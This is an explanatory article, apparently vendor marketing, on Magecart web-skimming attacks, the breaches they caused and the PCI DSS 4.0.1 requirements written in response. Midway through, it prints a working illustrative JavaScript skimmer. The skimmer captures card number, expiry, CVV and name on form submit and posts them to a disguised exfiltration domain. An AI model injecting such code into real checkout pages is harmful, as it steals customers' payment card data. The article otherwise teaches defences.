In September 2018, British Airways announced that attackers had stolen the payment card details of approximately 500,000 customers. The breach didn't happen through a server hack, a database dump, or a phishing attack against an employee. It happened because someone slipped 22 lines of JavaScript onto the British Airways booking page — and for 15 days, every card number typed into that form was being silently copied and sent to a server in Romania.
Nobody noticed. The page looked completely normal. Customers saw the usual checkout form, got their confirmation emails, flew their flights. The only difference was that somewhere in Eastern Europe, criminals were harvesting their card data in real time.
That attack was Magecart. And it's why PCI DSS 4.0.1 Requirements 6.4.3 and 11.6.1 exist.
What Is Magecart?
Magecart isn't a single hacking group — it's a term used to describe a category of attack, and the loose collection of criminal groups that carry them out. The name comes from "Magento cart," referencing the e-commerce platform that was heavily targeted in the early days of these attacks. But the technique now affects every major e-commerce platform, every payment provider, and merchants of every size.
The attack itself is called web skimming or formjacking. The concept is elegantly simple: inject a small piece of malicious JavaScript into a checkout page that intercepts card data as the customer types it, and silently send that data to an attacker-controlled server. The customer sees nothing unusual. The merchant sees nothing unusual. The attacker walks away with a fresh batch of working card numbers.
How the Attack Works — Step by Step
Understanding the mechanics matters. These aren't exotic nation-state attacks requiring specialized capabilities — they're systematic, scalable, and increasingly automated. Here's how a typical Magecart attack unfolds:
Who Has Been Hit
Magecart attacks have affected companies ranging from global airlines to small independent retailers. The scale and sophistication of the attack varies — but the underlying technique is the same.
| Company | Year | Cards affected | How it happened |
|---|---|---|---|
| British Airways | 2018 | ~500,000 | Script injected directly into booking page; ran undetected for 15 days |
| Ticketmaster | 2018 | ~40,000 | Third-party support widget (Inbenta) compromised; script loaded on checkout |
| Newegg | 2018 | Undisclosed | 9-line skimmer injected into checkout page; ran for over a month |
| Macy's | 2019 | Undisclosed | Two pages compromised — checkout and wallet — for approximately one week |
| Claire's | 2020 | Undisclosed | Skimmer active for over two months on e-commerce site during COVID closure |
| Segway | 2022 | Undisclosed | Malicious script disguised as a Segway favicon file loaded on checkout |
These are the brands you've heard of. For every high-profile breach that makes the news, security researchers estimate dozens or hundreds of smaller merchants are actively being skimmed at any given time — with no public disclosure because the breach was never detected.
What Your Checkout Page Looks Like to an Attacker
This is the part that changes how you think about your website. When an attacker evaluates your checkout page as a potential target, they're not looking at what you see — they're looking at your JavaScript.
Specifically, they're looking for:
Unprotected external scripts
Every <script src="..."> tag loading from a third-party domain is a potential entry point. If that external server gets compromised — or if the attacker can register a similarly named domain — they can replace the legitimate script with a malicious one. No SRI hash means the browser will load and execute whatever that URL returns, no questions asked.
Tag managers
Google Tag Manager is a gift to attackers — not because GTM itself is malicious, but because it dynamically injects scripts that most merchants don't monitor. If an attacker gains access to your GTM container (via compromised credentials or a third-party integration), they can add a tag that fires a skimmer on your checkout page without ever touching your actual website code.
Absence of a Content Security Policy
A missing or permissive CSP tells an attacker that even if they can inject a script, the browser won't block it from exfiltrating data to an external server. Without a CSP that restricts connect-src and script-src, exfiltration is trivially easy.
Outdated software
An outdated Magento, WooCommerce, or PrestaShop installation signals that the merchant is not actively maintaining their site — which correlates strongly with lack of security monitoring. Attackers prioritize targets where they're unlikely to be detected quickly.
// Injected into a third-party script your checkout page loads
// Invisible among thousands of lines of legitimate code
document.querySelector('form').addEventListener('submit', function() {
var data = {
card: document.querySelector('[name="card_number"]').value,
exp: document.querySelector('[name="expiry"]').value,
cvv: document.querySelector('[name="cvv"]').value,
name: document.querySelector('[name="billing_name"]').value
};
fetch('https://analytics-cdn-stats.com/collect', {
method: 'POST',
body: btoa(JSON.stringify(data))
});
});
// The domain "analytics-cdn-stats.com" looks legitimate.
// The data transmission looks like an analytics event.
// The merchant sees nothing.
The actual code used in real attacks is far more obfuscated — deliberately designed to look like legitimate analytics code. But the core mechanism is this simple. The card data leaves the browser in the same HTTP request that would look identical to a routine analytics event.
The Third-Party Problem
The Ticketmaster breach illustrates something important: you don't have to be hacked directly. Ticketmaster's own systems weren't compromised. A third-party vendor — Inbenta, which provided a customer support chatbot — was compromised. Because Inbenta's script loaded on Ticketmaster's payment pages, when the attacker modified Inbenta's JavaScript, it executed in the context of Ticketmaster's checkout. The card data flowed through Ticketmaster's page and into the attacker's hands.
This is the supply chain dimension of Magecart. When you load a third-party script on your checkout page, you're implicitly trusting:
- The vendor's security practices
- The security of every server they host their scripts on
- Every library and dependency their script loads
- Their access controls — who can modify the script that loads on your checkout
Most merchants have no visibility into any of this. They add a chat widget or a review plugin and assume it's fine because it came from a reputable company. Requirement 6.4.3 forces merchants to confront this assumption.
Why PCI DSS 4.0.1 Was Written Around This Attack
The PCI Security Standards Council doesn't update the standard casually. Version 4.0 represented years of work and was largely shaped by the explosion of Magecart attacks in 2018–2020. Requirements 6.4.3 and 11.6.1 are direct responses to what attackers were doing to e-commerce merchants at scale.
Requirement 6.4.3 — script inventory and authorization — directly addresses the root condition that makes Magecart attacks possible: merchants having no idea what JavaScript is running on their checkout pages. You can't detect an unauthorized script if you don't know what the authorized scripts are.
Requirement 11.6.1 — tamper detection — addresses the persistence problem. Even if you inventory your scripts today, an attacker who gains access tomorrow can modify them. A real-time alerting mechanism that fires when checkout page scripts or HTTP headers change gives merchants the ability to detect an injection before thousands of cards are compromised.
Together, these two requirements create a framework that — if properly implemented — would have detected the British Airways attack within minutes rather than 15 days.
What You Can Actually Do About It
The good news is that defending against Magecart-style attacks doesn't require a security team or an enterprise budget. It requires visibility and process.
Know your scripts
Build and maintain an inventory of every script loading on your checkout, cart, login, and payment pages. Anything you can't identify or justify should be removed immediately. Unknown scripts are a finding — and a potential live skimmer.
Implement a Content Security Policy
A properly configured CSP that restricts script sources and outbound connections is one of the most effective technical controls against Magecart. Even if an attacker injects a script, a tight CSP can prevent data exfiltration.
Add SRI hashes to external scripts
Subresource Integrity hashes cause the browser to reject any script that doesn't match the expected cryptographic hash — even if the script source has been compromised and the content modified.
Monitor for changes
Set up alerting for changes to your checkout page scripts and HTTP headers. A change you didn't make is either an error or an attack. Either way, you need to know about it immediately — not in next month's security review.
The single most important first step is understanding your current exposure. Most merchants who scan their checkout pages for the first time are genuinely surprised by what they find — not because their sites are particularly insecure, but because the browser layer has never been visible to them before.
Once you can see what's there, you can start making it defensible.
See what an attacker would see on your checkout page.
ClientSideIntel scans your payment and checkout pages for the exact indicators that make Magecart attacks possible — and tells you what to fix first.
Run a free scan → Order Deep Scan — $79